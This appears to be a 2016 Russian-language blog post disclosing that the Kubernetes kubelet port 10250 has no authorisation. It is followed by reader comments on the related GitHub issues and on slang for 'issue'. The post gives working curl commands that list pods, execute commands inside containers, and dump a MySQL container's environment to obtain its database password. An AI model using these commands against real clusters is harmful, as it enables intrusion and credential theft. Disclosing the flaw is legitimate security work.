Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.


Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:



Что с этим можно сделать? Практически всё. Без регистрации и sms.


Получить список всех pod'ов:


$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Выполнить команду внутри контейнера? Запросто:


$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Получить пароль на базу данных? Проще простого:


$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Вытащить из неё данные тоже не составит труда.

Поделиться с друзьями
-->

Комментарии (14)


  1. alexkunin
    26.08.2016 19:42

    Вы там вопрос задали — почему иссую 11816 закрыли. Так вот прямо над вашим вопросом референсится иссуя 2098, в которой поясняется закрытие:

    @mikedanese #11816 (comment) mentions authn/authz for kubelet. #14700 added interfaces for authn/authz to the kubelet but didn't wire them to command line options yet. Some of the work around webhook authn and authz could allow the kubelet to use the same authn/authz as the master if we wanted it to.
    Иссуя 3168 — закрыта потому, что тема перекочевала в 11816. А 7965 закрыта как дубль 3168.

    В общем, пишут, что аутентификация добавлена, хотя не добавили опций в командную строку для ее осуществления. Есть воркэраунд, но дальше я уже не вникал.


    1. AloneCoder
      26.08.2016 20:29
      +9

      «Иссуя»?!


      1. alexkunin
        26.08.2016 21:03

        Да, иссуя, устоялось среди людей, с которыми работаю. Наверное, потому что склонять можно, и число видно. Ну, и тяжкое наследие «ентер», «делете», «бакспасе». В то же время вместо «прислали ишшью», «пофиксил два ишшью», «больше нет ишшью» — «прислали иссую», «пофиксил две иссуи», «больше нет иссуй» — как-то более «по-русски».


        1. DrPass
          26.08.2016 22:19
          +2

          Чего бы вам их «тасками» не обзывать…


          1. alexkunin
            26.08.2016 22:23
            -1

            Потому что в редмайне это именно иссуи.


        1. wodby
          28.08.2016 07:42

          В множественном числе можно говорить «ишьюсы» (issues): «пофиксил два ишью», «больше нет ишьюсов». Еще вместо Ш в середине слова можно использовать Щ потому что по-английски оно именно так и звучит. Ну и надо сразу учиться говорить правильно (заодно коллег переучивать), потом все равно придется переучиваться когда попадешь в другой коллектив, особенно если он англоязычный.


      1. ssot
        26.08.2016 22:46

        Да ладно иссуя. Я в своей практике встречал «щедулесы» с «пропетрисами» и прочий «фусик ёу» :)


        1. dmitryredkin
          26.08.2016 23:04

          Ишью же!


        1. Suvitruf
          27.08.2016 01:18

          Эм, в американсокм варианте оно через «с» и пишется — [ ??sju? ], это в британском через «ш» — [ ???u? ].
          К слову, в британском английском schedule через «ш» — [ ??edju?l ].

          Так что, не всё так однозначно.


        1. lohmatiyy
          27.08.2016 20:38
          +3

          Суппля он, ага
          image


          1. DrPass
            27.08.2016 20:50

            Вспоминаются венгерские терминалы Videoton из детства, которые были с кириллическим знакогенератором, и поэтому на недопереведенных буржуйских ОС приходилось созерцать ошибки вида ИНЖАЛИД ДЕЖИЦЕ.


            1. grossws
              27.08.2016 21:26

              И классический ЕГГОГ ,)


      1. Barafu
        28.08.2016 19:31

        У нас вообще «изя». А у знакомых «дело». Там бывший гаишник в команде, он термин и внедрил.


        1. alexkunin
          29.08.2016 19:49

          У вас, наверное, не «манагер ассигнит иссую», а «начальник шьет дело». Чесговоря мне нравится. :)